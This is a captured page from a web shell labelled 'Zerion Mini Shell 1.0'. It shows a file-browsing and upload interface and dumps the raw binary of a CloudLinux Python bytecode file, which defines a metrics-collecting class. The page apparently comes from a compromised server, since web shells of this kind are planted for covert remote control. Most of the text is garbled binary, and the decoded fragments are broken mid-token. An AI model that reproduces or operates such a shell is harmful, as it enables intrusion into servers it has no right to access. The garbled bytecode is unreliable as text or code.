ok

Mini Shell

Direktori : /opt/cloudlinux/venv/lib/python3.11/site-packages/clsummary/__pycache__/
Upload File :
Current File : //opt/cloudlinux/venv/lib/python3.11/site-packages/clsummary/__pycache__/storage.cpython-311.pyc

�

���f�	��r�ddlZddlZejd��Zejd��ZGd�de��ZdS)�N�Tzcloudlinux-summaryc
��eZdZdZddddgdgddiddiddigd�	Zdejdefded	zd
e	e
effd�Zdejdefded
eded	zd
d	f
d�Zd	S)�StatisticsDictz>
    Special class to store all metrics before sending it
    z-42i���gE�)	�str�int�float�str_list�int_list�int_dict�
float_dict�str_dict�
rpm_stat_list�func.�log_messageN�returnc��	|��}n6#t$r)}|rt�d||��Yd}~dSd}~wwxYwd|fS)a�
        Method for catching any exceptions while calling the passed function,
        logging them and returning None and success flag if an exception has been encountered.
        Returns a formatted result of the function call otherwise.

        :param func:
            function that should be called
        :param log_message:
            if given, it will be logged as exception message.
        z%s. Exception: "%s"N)FNT)�	Exception�logger�	exception)�selfrr�result�errs     �H/opt/cloudlinux/venv/lib64/python3.11/site-packages/clsummary/storage.py�
evaluate_safezStatisticsDict.evaluate_safe)sw��		��T�V�V�F�F���	�	�	��
�� � �)������
�;�;�;�;�;�����	�����V�|�s�

�
A�;�A�type_of_result�name_of_metricc�`�|�||��\}}|s
|j|}|||<dS)z�
        Calls `evaluate_safe` and saves the result from it
        in the metric dictionary.

        :param log_message:
            if given, it will be logged as exception message.
        See method `evaluate_safe` for more details.
        N)r�DEFAULT_RESULTS)rrrrr�successrs       r�
add_metriczStatisticsDict.add_metricEsJ�� �,�,���
�
����
�	:��)�.�9�F�%��^����)
�__name__�
__module__�__qualname__�__doc__r�typing�Callablerr�tuple�boolrr �r!rrrs������������G��E��3�
�
�5�
�
�5�
�
�#��O�(��/�#�q�&�)���t���
�t�Q�w��	����8&��/�#�q�&�)�&� �&� �	&�
�t��&�
�
&�&�&�&�&�&r!r)�loggingr&�TypeVarr�	getLoggerr�dictrr*r!r�<module>r/s{������
�
�
�
��F�N�3����	��	�/�	0�	0��N&�N&�N&�N&�N&�T�N&�N&�N&�N&�N&r!

Zerion Mini Shell 1.0